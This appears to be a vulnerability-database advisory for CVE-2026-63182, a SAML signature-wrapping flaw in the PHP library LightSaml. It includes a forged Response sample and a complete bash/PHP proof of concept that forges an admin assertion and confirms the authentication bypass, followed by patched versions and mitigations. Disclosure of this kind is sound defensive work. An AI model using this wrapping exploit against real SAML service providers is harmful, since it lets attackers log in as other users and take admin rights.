CVE-2026-63182 is a high-severity (CVSS 8.1) CWE-347 vulnerability in litesaml/lightsaml. A fix is available for litesaml/lightsaml — see the affected versions and patch details below.
LightSAML: Signature reference wrapping permits unsigned assertion claims
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-63182.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
litesaml/lightsaml🐘litesaml/lightsamlReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
LightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound samlp:Response by collecting its direct-child saml:Assertion elements and validating each one's ds:Signature via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed Reference URI="#id" with a document-wide //*[@Id] XPath that returns the first ID-bearing element anywhere in the document.
An attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims.
Details
Response::deserialize collects assertions with manyElementsFromXml, whose relative XPath saml:Assertion matches only direct children of the Response. Each collected assertion is validated independently by AssertionSignatureValidatorAction against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document):
https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28
The check delegates to xmlseclibs XMLSecurityDSig::validateReference(), which first removes the signature node being validated from the shared document (enveloped-signature removal):
if (! $docElem->isSameNode($this->sigNode)) {
if ($this->sigNode->parentNode != null) {
$this->sigNode->parentNode->removeChild($this->sigNode); // strips sig from shared DOM
}
}
https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596
processRefNode() then resolves URI="#id" document-wide and takes item(0), the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature's own subtree:
$query = '//*['.$iDlist.']';
$dataObject = $xPath->query($query)->item(0);
https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525
So the digest target xmlseclibs picks (//*[@Id] item(0), anywhere) which isn't necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected:
https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288
An example attacker buries the genuine signed bytes (the assertion with its ds:Signature element stripped) inside samlp:Extensions, so it is the first @Id element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same ID, attacker claims, and a verbatim copy of the genuine ds:Signature:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this),
but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the
enveloped+exc-c14n digest target is the assertion sans Signature. -->
<samlp:Extensions>
<saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<saml:Subject><saml:NameID>[email protected]</saml:NameID></saml:Subject>
<saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
<saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
</saml:Assertion>
</samlp:Extensions>
<!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims,
verbatim copy of the genuine ds:Signature. -->
<saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>https://idp.example.com</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ...byte-for-byte copy of the genuine signature... </ds:Signature>
<saml:Subject><saml:NameID>[email protected]</saml:NameID></saml:Subject>
<saml:Conditions NotBefore="2040-01-01T00:00:00Z" NotOnOrAfter="2041-01-01T00:00:00Z"/>
<saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
PoC
#!/usr/bin/env bash
set -euo pipefail
WORK="$(mktemp -d)"; trap 'rm -rf "$WORK"' EXIT; cd "$WORK"
IDP_ENTITY="https://idp.example.com"; ASSERTION_ID="_signed_assertion"
composer require litesaml/lightsaml:5.0.0 --no-interaction --quiet
# trusted IdP key + self-signed cert (out-of-band trust anchor)
openssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \
-subj "/CN=idp.example.com" >/dev/null 2>&1
# genuine Response with one to-be-signed assertion
cat > genuine_tmpl.xml <<XML
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>${IDP_ENTITY}</saml:Issuer>
<saml:Assertion ID="${ASSERTION_ID}" Version="2.0" IssueInstant="2024-01-01T00:00:00Z">
<saml:Issuer>${IDP_ENTITY}</saml:Issuer>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
<ds:Reference URI="#${ASSERTION_ID}">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue></ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue></ds:SignatureValue>
</ds:Signature>
<saml:Subject><saml:NameID>[email protected]</saml:NameID></saml:Subject>
<saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/>
<saml:AttributeStatement>
<saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>
XML
# REAL signature over the genuine assertion (RSA-SHA256, enveloped + exc-c14n)
xmlsec1 --sign --lax-key-search --privkey-pem idp_key.pem \
--id-attr:ID "urn:oasis:names:tc:SAML:2.0:assertion:Assertion" \
--output genuine_signed.xml genuine_tmpl.xml >/dev/null
# TAMPER: bury the genuine bytes (signature stripped) in samlp:Extensions as the first @Id element,
# and make the ONLY direct-child assertion a forged one carrying a verbatim copy of the genuine
# signature + attacker claims.
php -r '
$doc = new DOMDocument(); $doc->load("genuine_signed.xml");
$xp = new DOMXPath($doc);
$xp->registerNamespace("saml","urn:oasis:names:tc:SAML:2.0:assertion");
$xp->registerNamespace("ds","http://www.w3.org/2000/09/xmldsig#");
$resp = $doc->documentElement;
$genuine = $xp->query("//saml:Assertion[@ID=\"_signed_assertion\"]")->item(0);
$copiedSig = $doc->saveXML($xp->query("./ds:Signature", $genuine)->item(0));
// buried = genuine clone WITHOUT its signature (the enveloped+exc-c14n digest target)
$buried = $genuine->cloneNode(true);
$buried->removeChild($xp->query("./ds:Signature", $buried)->item(0));
// forged = copied signature + attacker claims (the only direct-child assertion)
$forged =
"<saml:Assertion xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"_signed_assertion\" Version=\"2.0\" IssueInstant=\"2024-01-01T00:00:00Z\">"
."<saml:Issuer>https://idp.example.com</saml:Issuer>".$copiedSig
."<saml:Subject><saml:NameID>[email protected]</saml:NameID></saml:Subject>"
."<saml:Conditions NotBefore=\"2040-01-01T00:00:00Z\" NotOnOrAfter=\"2041-01-01T00:00:00Z\"/>"
."<saml:AttributeStatement><saml:Attribute Name=\"role\"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement>"
."</saml:Assertion>";
$frag = $doc->createDocumentFragment(); $frag->appendXML($forged);
// Extensions(buried genuine) replaces the original assertion (first @Id, doc order); forged appended after
$ext = $doc->createElementNS("urn:oasis:names:tc:SAML:2.0:protocol","samlp:Extensions");
$ext->appendChild($buried);
$resp->replaceChild($ext, $genuine);
$resp->appendChild($frag);
file_put_contents("tampered.xml", $doc->saveXML());
'
# SP consumer: LightSaml real per-assertion validation, pinned cert, requireSignature=true
cat > consumer.php <<'PHP'
<?php
require __DIR__ . '/vendor/autoload.php';
use LightSaml\Action\Assertion\Inbound\AssertionSignatureValidatorAction;
use LightSaml\Context\Profile\{AssertionContext, ProfileContext};
use LightSaml\Credential\{UsageType, X509Certificate, X509Credential};
use LightSaml\Context\Model\DeserializationContext; // moved from Model\Context in 5.0.0
use LightSaml\Model\Protocol\SamlMessage;
use LightSaml\Resolver\Credential\Factory\CredentialResolverFactory;
use LightSaml\Store\Credential\StaticCredentialStore;
use LightSaml\Validator\Model\Signature\SignatureValidator;
use Psr\Log\NullLogger;
[$_, $xmlPath, $certPath, $idpEntityId] = $argv;
$x509 = new X509Certificate(); $x509->loadPem(file_get_contents($certPath)); // pinned trust anchor
$cred = new X509Credential($x509); $cred->setEntityId($idpEntityId); $cred->setUsageType(UsageType::SIGNING);
$store = new StaticCredentialStore(); $store->add($cred);
$validator = new SignatureValidator((new CredentialResolverFactory($store))->build());
$action = new AssertionSignatureValidatorAction(new NullLogger(), $validator, true); // requireSignature=true
$message = SamlMessage::fromXML(file_get_contents($xmlPath), new DeserializationContext());
$profile = new ProfileContext('profile', ProfileContext::ROLE_SP);
$bypass = false;
echo "assertions LightSaml collected: " . count($message->getAllAssertions()) . "\n";
foreach ($message->getAllAssertions() as $i => $a) {
$nameId = ($a->getSubject() && $a->getSubject()->getNameID()) ? $a->getSubject()->getNameID()->getValue() : '(none)';
$attrs = [];
foreach ($a->getAllAttributeStatements() as $s) foreach ($s->getAllAttributes() as $at)
$attrs[$at->getName()] = implode(',', array_map(fn($v) => (string)$v, $at->getAllAttributeValues()));
echo "ASSERTION #$i NameID=$nameId Attributes=".json_encode($attrs)."\n";
$ctx = new AssertionContext(); $ctx->setAssertion($a); $ctx->setParent($profile);
try { $action->execute($ctx); $r = 'ACCEPTED'; } catch (\Throwable $e) { $r = 'REJECTED: '.$e->getMessage(); }
echo " LightSaml validation: $r\n";
if ($r === 'ACCEPTED' && (strpos($nameId,'evil.com') !== false || ($attrs['role'] ?? '') === 'admin')) {
$bypass = true; echo " >>> BYPASS: forged assertion validated AND attacker claims surfaced\n";
}
}
echo $bypass ? "RESULT: BYPASS CONFIRMED\n" : "RESULT: no bypass\n";
exit($bypass ? 0 : 1);
PHP
php consumer.php tampered.xml idp_cert.pem "$IDP_ENTITY"
Observed output:
assertions LightSaml collected: 1
ASSERTION #0 [email protected] Attributes={"role":"admin"}
LightSaml validation: ACCEPTED
>>> BYPASS: forged assertion validated AND attacker claims surfaced
RESULT: BYPASS CONFIRMED
Impact
Authentication bypass / privilege escalation. An attacker who has captured one genuine signed assertion (e.g. their own prior login response) can have LightSaml accept a single, fully attacker-authored assertion as IdP-signed.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | litesaml/lightsaml | ≥ 5.0.0&&< 5.0.1 | 5.0.1composer require litesaml/lightsaml:^5.0.1 |
| 🐘Packagist | litesaml/lightsaml | ≥ 4.0.0&&< 4.7.1 | 4.7.1composer require litesaml/lightsaml:^4.7.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for litesaml/lightsaml, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update litesaml/lightsaml to 5.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-63182 is resolved across your whole dependency graph.
Workarounds
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Frequently Asked Questions
Is CVE-2026-63182 in your dependencies?
Find it across Packagist, including transitive dependencies.